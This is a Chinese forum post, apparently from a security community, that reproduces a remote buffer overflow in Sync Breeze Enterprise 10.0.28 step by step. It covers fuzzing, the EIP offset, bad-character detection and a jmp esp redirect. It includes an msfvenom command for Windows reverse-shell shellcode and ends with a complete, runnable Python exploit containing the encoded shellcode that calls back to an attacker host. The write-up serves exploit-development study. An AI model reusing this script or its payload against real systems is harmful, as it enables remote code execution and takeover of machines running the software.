首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
二进制漏洞
发新帖
1
1
[原创]Sync Breeze Enterprise 10.0.28 - Remote Buffer Overflow 复现分析
发表于: 2025-12-6 02:11
18312
[原创]Sync Breeze Enterprise 10.0.28 - Remote Buffer Overflow 复现分析
Cypher.M
3
2025-12-6 02:11
18312
## 研究背景 ### 前置准备 初来乍到,二进制新手。算是挑个软柿子捏一捏,做一个分析复现记录,大神轻喷 exploit-db地址 : <mark class="encrypted">ff5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5s2m8D9L8$3W2@1i4K6u0V1k6r3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0b7J5z5e0t1^5</mark> 找来一个对应版本的安装包 syncbreezeent_setup_v10.0.28 然后正常安装这个程序 从一个基础的exp开始 ```python #!/usr/bin/python import socket import sys try: server = sys.argv[1] port = 80 size = 800 inputBuffer = b"A" * size content = b"username=" + inputBuffer + b"&password=A" buffer = b"POST /login HTTP/1.1\r\n" buffer += b"Host: " + server.encode() + b"\r\n" buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += b"Accept-Language: en-US,en;q=0.5\r\n" buffer += b"Referer: http://10.11.0.22/login\r\n" buffer += b"Connection: close\r\n" buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n" buffer += b"\r\n" buffer += content print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buffer) s.close() print("Done!") except socket.error: print("Could not connect!") ``` 服务开启80端口的web服务  注意是这个服务  加载windbg  ### 2.调试过程 #### 2.1 基础测试 直接执行上述exp查看windbg  eip被填满 查找eip位置 修改一下exp ```python # 这里我用的是msf # msf-pattern_create -l 800 inputBuffer = b'Aa0Aa1Aa......' ``` 再次加载到windbg  OK,拿到这个字符串去查询一下 eip的位置在`780 + 4` ```bash msf-pattern_offset -q 42306142 ```  修改一下exp ```python port = 80 size = 800 eip = b'B' * 4 inputBuffer = b'A' * 780 + eip inputBuffer += b'C' * (size - len(inputBuffer)) ```  eip的位置已经如预期一样被填入字符`B` 查看`esp` 现在的内存布局就如我们的预期,eip前面是填充的`A`,eip的位置是`B`,eip后续的部分用`C`填充 #### 2.2 坏字符检测 生成坏字符串集 ```bash badchars ```  默认情况下`\x00`都是坏字符所以这个坏字符集就没有`\x00` ```text \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff ``` 继续修改exp ```python size = 800 badchars = b'\x01\x02\x03......' eip = b'B' * 4 inputBuffer = b'A' * 780 + eip + badchars ```  捕获一些信息 首先 查看到此时 的eip = 42424242 符合预期 但是目前的esp开头在`08070605`的位置,为了方便 加一个`offset`进行填充 原本的 esp 的位置 现在 04030201 符合badchars 的预期 接下来 `00cb0009 00ed67c0` 说明 至少 `09 00 cb 00` 这个部分有坏字符 去找原版这部分对应的部分 `\x0a\x0b\x0c\x0d` 那么确定 `\x0a` 是坏字符 重复上述步骤找到所有的exp 循环往复 找到所有坏字符 如下 `\x00` 本身就是坏字符 所以包含在内 `\x00\x0a\x0d\x25\x26\x2b\x3d` #### 2.3 shellcode生成 就直接用msf生成 ```bash msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x25\x26\x2b\x3d' ``` 那现在有shellcode,能够控制eip,需要重新修改下exp ```python eip = b'B' * 4 offset = b'C' * 4 shellcode = b"" shellcode += b"\xbb\x65\xea\x51\xbb\xdb\xc6\xd9\x74\x24\xf4" ...... inputBuffer = b'A' * 780 + eip + offset + shellcode ``` #### 2.4 Get shell 接下来的任务是找到一种方法,将执行流重定向到程序崩溃时 ESP 寄存器所指向的内存地址(即 shellcode 所在位置) 先这样直接执行这个exp 查看windbg  如上图所示,最快的方式就是找到一个`jmp esp`的指令`FFE4` 在windbg当中搜索 ``` s -b 10000000 10223000 ff e4 ```  找到`10090c83`将这个部分替换`eip` ```python eip = b'\x83\x0c\x09\x10' ``` 程序崩溃  没有收到反弹shell,看起来这里是填充字符和`shellcode`混在一起了 所以增加一些`nops`修改exp ```python inputBuffer = b'A' * 780 + eip + offset + b"\x90"*10 + shellcode ``` 再次执行 成功复现  完整代码: ```python #!/usr/bin/python import socket import sys try: server = sys.argv[1] port = 80 size = 800 eip = b'\x83\x0c\x09\x10' offset = b'C' * 4 shellcode = b"" shellcode += b"\xbb\x65\xea\x51\xbb\xdb\xc6\xd9\x74\x24\xf4" shellcode += b"\x58\x31\xc9\xb1\x52\x31\x58\x12\x03\x58\x12" shellcode += b"\x83\xa5\xee\xb3\x4e\xd9\x07\xb1\xb1\x21\xd8" shellcode += b"\xd6\x38\xc4\xe9\xd6\x5f\x8d\x5a\xe7\x14\xc3" shellcode += b"\x56\x8c\x79\xf7\xed\xe0\x55\xf8\x46\x4e\x80" shellcode += b"\x37\x56\xe3\xf0\x56\xd4\xfe\x24\xb8\xe5\x30" shellcode += b"\x39\xb9\x22\x2c\xb0\xeb\xfb\x3a\x67\x1b\x8f" shellcode += b"\x77\xb4\x90\xc3\x96\xbc\x45\x93\x99\xed\xd8" shellcode += b"\xaf\xc3\x2d\xdb\x7c\x78\x64\xc3\x61\x45\x3e" shellcode += b"\x78\x51\x31\xc1\xa8\xab\xba\x6e\x95\x03\x49" shellcode += b"\x6e\xd2\xa4\xb2\x05\x2a\xd7\x4f\x1e\xe9\xa5" shellcode += b"\x8b\xab\xe9\x0e\x5f\x0b\xd5\xaf\x8c\xca\x9e" shellcode += b"\xbc\x79\x98\xf8\xa0\x7c\x4d\x73\xdc\xf5\x70" shellcode += b"\x53\x54\x4d\x57\x77\x3c\x15\xf6\x2e\x98\xf8" shellcode += b"\x07\x30\x43\xa4\xad\x3b\x6e\xb1\xdf\x66\xe7" shellcode += b"\x76\xd2\x98\xf7\x10\x65\xeb\xc5\xbf\xdd\x63" shellcode += b"\x66\x37\xf8\x74\x89\x62\xbc\xea\x74\x8d\xbd" shellcode += b"\x23\xb3\xd9\xed\x5b\x12\x62\x66\x9b\x9b\xb7" shellcode += b"\x29\xcb\x33\x68\x8a\xbb\xf3\xd8\x62\xd1\xfb" shellcode += b"\x07\x92\xda\xd1\x2f\x39\x21\xb2\x45\xb4\x23" shellcode += b"\xc3\x32\xca\x33\xd2\x9e\x43\xd5\xbe\x0e\x02" shellcode += b"\x4e\x57\xb6\x0f\x04\xc6\x37\x9a\x61\xc8\xbc" shellcode += b"\x29\x96\x87\x34\x47\x84\x70\xb5\x12\xf6\xd7" shellcode += b"\xca\x88\x9e\xb4\x59\x57\x5e\xb2\x41\xc0\x09" shellcode += b"\x93\xb4\x19\xdf\x09\xee\xb3\xfd\xd3\x76\xfb" shellcode += b"\x45\x08\x4b\x02\x44\xdd\xf7\x20\x56\x1b\xf7" shellcode += b"\x6c\x02\xf3\xae\x3a\xfc\xb5\x18\x8d\x56\x6c" shellcode += b"\xf6\x47\x3e\xe9\x34\x58\x38\xf6\x10\x2e\xa4" shellcode += b"\x47\xcd\x77\xdb\x68\x99\x7f\xa4\x94\x39\x7f" shellcode += b"\x7f\x1d\x49\xca\xdd\x34\xc2\x93\xb4\x04\x8f" shellcode += b"\x23\x63\x4a\xb6\xa7\x81\x33\x4d\xb7\xe0\x36" shellcode += b"\x09\x7f\x19\x4b\x02\xea\x1d\xf8\x23\x3f" inputBuffer = b'A' * 780 + eip + offset + b"\x90"*10 + shellcode content = b"username=" + inputBuffer + b"&password=A" buffer = b"POST /login HTTP/1.1\r\n" buffer += b"Host: " + server.encode() + b"\r\n" buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += b"Accept-Language: en-US,en;q=0.5\r\n" buffer += b"Referer: http://10.11.0.22/login\r\n" buffer += b"Connection: close\r\n" buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n" buffer += b"\r\n" buffer += content print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buffer) s.close() print("Done!") except socket.error: print("Could not connect!") ``` 这里的`nops`和 `exploit-db`当中数量不太一样 是因为系统原因,我准备的`Windows 10` 有10个`nops`就够用 我看有些人需要`20`好像不太一定 
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#漏洞分析
#漏洞利用
#缓冲区溢出
#Fuzz
#Windows
收藏
・
1
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
谢谢你的细致分析,受益匪浅!
2026-7-16 06:46
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
mb_fkndkpjq
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
6
粉丝
0
关注
私信
mb_fkndkpjq
2
楼
师傅,请问这是跟着exp-301(osed)做的吗?是的话,你第八章往后看了吗,我环境都搭建不起来被迫停止了
2026-4-5 15:21
0
Cypher.M
雪 币:
4023
活跃值:
(1230)
能力值:
( LV9,RANK:160 )
在线值:
发帖
8
回帖
2
粉丝
15
关注
私信
Cypher.M
3
3
楼
mb_fkndkpjq
师傅,请问这是跟着exp-301(osed)做的吗?是的话,你第八章往后看了吗,我环境都搭建不起来被迫停止了
enmmmm 这你要我怎么回答?
2026-5-15 17:50
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Cypher.M
3
8
发帖
2
回帖
160
RANK
关注
私信
他的文章
[原创] exploit-db exp 优化SEH Egghunter
13498
[原创] Egg Hunter 技术详解
22724
[原创] ***RCE分析记录
29415
[原创] Windows SEH 溢出漏洞分析记录 - KNet
14661
[原创] SEH 溢出调试分析记录-Diskpls
17381
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部